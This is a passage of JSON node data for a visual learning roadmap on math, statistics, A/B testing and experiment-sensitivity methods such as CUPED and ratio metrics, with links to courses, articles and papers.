 {\n      \"id\": \"4WZL_fzJ3cZdWLLDoWN8D\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 118.90074822234891\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Statistics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 118.90074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gWMvD83hVXeTmCuHGIiOL\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": -226.10970787732015,\n        \"y\": 200.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Linear Algebra, Calculus, Mathematical Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"eOFoGKveaHaBm_6ppJUtA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 417,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": -226.10970787732015,\n        \"y\": 200.4007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 417,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 417,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"HclEU3v8OdC_Oq7ONvApt\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -196.10970787732015,\n        \"y\": 238.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mathematics for Machine Learning\",\n        \"href\": \"https://imp.i384100.net/baqMYv\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Courses\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 433,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -196.10970787732015,\n        \"y\": 238.4007482223489\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 433,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 433,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mwPJh33MEUQ4Co_LiVEOb\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": -226.10970787732015,\n        \"y\": 307.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Differential Calculus \",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": -226.10970787732015,\n        \"y\": 307.4007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"Py2ZgxmPRQ620cuOj_Cig\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -196.10970787732015,\n        \"y\": 349.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Coursera: Algebra and Differential Calculus\",\n        \"href\": \"https://imp.i384100.net/LX5M7M\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\"\n      },\n      \"zIndex\": 999,\n      \"width\": 429,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -196.10970787732015,\n        \"y\": 349.4007482223489\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 429,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 429,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Y9YJdARIRqqCBCy3GVYdA\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": 279.89029212267985,\n        \"y\": 200.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Statistics, CLT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"n2JFGwFxTuOviW6kHO1Uv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": 279.89029212267985,\n        \"y\": 200.4007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"O-9EsoKrMpfkcGIBKnSty\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 238.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Coursera: Introduction to Statistics\",\n        \"href\": \"https://imp.i384100.net/3eRv4v\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"R0lIHKW2JmXQp79hoGU6x\"\n      },\n      \"zIndex\": 999,\n      \"width\": 441,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 238.4007482223489\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 441,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 441,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XJXIkWVDIrPJ-bVIvX0ZO\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": 279.89029212267985,\n        \"y\": 307.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Hypothesis Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"n2JFGwFxTuOviW6kHO1Uv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": 279.89029212267985,\n        \"y\": 307.4007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"5_wxpYdzweUkSMugiKV94\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 344.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Coursera: Hypothesis Testing\",\n        \"href\": \"https://imp.i384100.net/vN0JAA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"R0lIHKW2JmXQp79hoGU6x\"\n      },\n      \"zIndex\": 999,\n      \"width\": 441,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 344.4007482223489\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 441,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 441,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jxJtwbiCvxHqmkWkE7zdx\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": 279.89029212267985,\n        \"y\": 408.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Probability and Sampling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"n2JFGwFxTuOviW6kHO1Uv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": 279.89029212267985,\n        \"y\": 408.4007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 246,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"jIeLbbE0KYjoQo0t0CVXm\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 439.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Coursera: Probability and Statistics\",\n        \"href\": \"https://imp.i384100.net/daDM6Q\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"R0lIHKW2JmXQp79hoGU6x\"\n      },\n      \"zIndex\": 999,\n      \"width\": 441,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 439.4007482223489\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 441,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 441,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mJq9b50MJM9o9dLhx40iN\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": 279.89029212267985,\n        \"y\": 511.40074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AB Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"n2JFGwFxTuOviW6kHO1Uv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": 279.89029212267985,\n        \"y\": 511.40074822234897\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"lrDei3AUInJZ1ISDxOxdT\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 549.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Practitioner's Guide to Statistical Tests\",\n        \"href\": \"https://vkteam.medium.com/practitioners-guide-to-statistical-tests-ed2d580ef04f#1e3b\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Article\",\n        \"oldId\": \"bdAl2ne0fsE1R02wWdIK9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 441,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 549.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 441,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 441,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"R0lIHKW2JmXQp79hoGU6x\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 603.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Step by Step Process for Planning an A/B Test\",\n        \"href\": \"https://medium.com/data-science/step-by-step-for-planning-an-a-b-test-ef3c93143c0b\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Article\",\n        \"oldId\": \"Py2ZgxmPRQ620cuOj_Cig\"\n      },\n      \"zIndex\": 999,\n      \"width\": 441,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 603.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 441,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 441,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v68nwX914qCwHDSwY_ZhG\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": 282.89029212267985,\n        \"y\": 669.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Increasing Test Sensitivity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"n2JFGwFxTuOviW6kHO1Uv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": 282.89029212267985,\n        \"y\": 669.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 256,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 256,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"G6wxStgN1ShtD6RR2xVc-\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 700.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Minimum Detectable Effect\",\n        \"href\": \"https://splitmetrics.com/resources/minimum-detectable-effect-mde/\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Article\",\n        \"oldId\": \"bdAl2ne0fsE1R02wWdIK9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 441,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 700.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 441,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 441,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Pu6kiJ0YOvtD6AypKWkfJ\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 753.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Paper: Improving Test Sensitivity\",\n        \"href\": \"https://kdd.org/kdd2016/papers/files/adp0945-xieA.pdf\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Paper\",\n        \"oldId\": \"bdAl2ne0fsE1R02wWdIK9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 441,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 753.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 441,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 441,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"usXkw57ukCuc9gAw6E5Td\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 806.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Paper: Improving Sensitivity (CUPED)\",\n        \"href\": \"https://exp-platform.com/Documents/2013-02-CUPED-ImprovingSensitivityOfControlledExperiments.pdf\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Paper\",\n        \"oldId\": \"bdAl2ne0fsE1R02wWdIK9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 441,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 806.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 441,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 441,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"T0suD_0uw6nSq7NOFBoNQ\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 859.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CUPED at Booking.com\",\n        \"href\": \"https://booking.ai/how-booking-com-increases-the-power-of-online-experiments-with-cuped-995d186fff1d\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Article\",\n        \"oldId\": \"bdAl2ne0fsE1R02wWdIK9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 441,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 859.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 441,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 441,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Vx5zD4Y-6yLxorD8kNvop\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 912.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Doordash: CUPAC\",\n        \"href\": \"https://doordash.engineering/2020/06/08/improving-experimental-power-through-control-using-predictions-as-covariate-cupac/\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Article\",\n        \"oldId\": \"bsj2IHFXur-qqDSI4B1wg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 441,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 912.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 441,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 441,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bdAl2ne0fsE1R02wWdIK9\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 965.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Netflix: Stratification\",\n        \"href\": \"https://www.researchgate.net/publication/305997925_Improving_the_Sensitivity_of_Online_Controlled_Experiments_Case_Studies_at_Netflix\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Paper\",\n        \"oldId\": \"R0lIHKW2JmXQp79hoGU6x\"\n      },\n      \"zIndex\": 999,\n      \"width\": 441,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 965.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 441,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 441,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n2JFGwFxTuOviW6kHO1Uv\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": 282.89029212267985,\n        \"y\": 1036.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Ratio Metrics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"mwPJh33MEUQ4Co_LiVEOb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": 282.89029212267985,\n        \"y\": 1036.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 180,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"nW_wSh-PoSlmOONP48UDD\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 1072.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Microsoft: Delta Method in Metric Analytics\",\n        \"href\": \"https://arxiv.org/pdf/1803.06336\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Paper\",\n        \"oldId\": \"bsj2IHFXur-qqDSI4B1wg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 441,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 1072.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 441,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 441,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KiaiatCPngkVem7Bw3s0T\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 1125.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Paper: Ratio Metrics\",\n        \"href\": \"https://stat.cmu.edu/~hseltman/files/ratio.pdf\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Paper\",\n        \"oldId\": \"bsj2IHFXur-qqDSI4B1wg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 441,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 1125.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 441,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 441,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"o_Ddc5iv9y4ZLUjmUTvP-\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -232.71752171424652,\n        \"y\": 125.40074822234891\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"1\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#0062ff\"\n        },\n        \"oldId\": \"wOqfPAZ24GxUrkxVRRyT5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 24,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -232.71752171424652,\n        \"y\": 125.40074822234891\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 24,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"B3ZzcZspEctJ2kX6At0tb\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 273.89029212267985,\n        \"y\": 125.40074822234891\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"2\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"qRxvTDjpoW1GuQ771syXb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 27,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 273.89029212267985,\n        \"y\": 125.40074822234891\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 27,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Io-XP7K1_siYDrlwFmbEx\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -200.10970787732015,\n        \"y\": 445.78255589147204\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"3\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#0062ff\"\n        },\n        \"oldId\": \"wOqfPAZ24GxUrkxVRRyT5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 27,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -200.10970787732015,\n        \"y\": 445.78255589147204\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 27,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Gd2egqKZPnbPW1W2jw4j8\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -163.75449749114952,\n        \"y\": 439.28255589147204\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Econometrics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kBdt_t2SvVsY3blfubWIz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -163.75449749114952,\n        \"y\": 439.28255589147204\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 144,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EqgwFsJqejdABpTBoxOix\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 236.89029212267985,\n        \"y\": 463.9007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"rKb8lqYH0GC_6R5qybzzM\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 747,\n      \"positionAbsolute\": {\n        \"x\": 236.89029212267985,\n        \"y\": 463.9007482223489\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 747\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 747\n      }\n    },\n    {\n      \"id\": \"GFlPWkEVwPlxPhOitG1xH\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 245,\n        \"y\": 1200.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 544,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 245,\n        \"y\": 1200.900748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 544,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 544,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"h9_7FHMPipHVN7C4ErKHU\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 778,\n        \"y\": 141.9007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        },\n        \"oldId\": \"FsU7_B1LCULtlVQg7gEPR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 1069,\n      \"positionAbsolute\": {\n        \"x\": 778,\n        \"y\": 141.9007482223489\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 1069\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 1069\n      }\n    },\n    {\n      \"id\": \"_uOgVh3d8lAlbTgYNJFpt\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 45.89029212267985,\n        \"y\": 125\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \">\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"Xd_mdvQdbCWcucpSTcDz1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 35,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 45.89029212267985,\n        \"y\": 125\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 35,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": 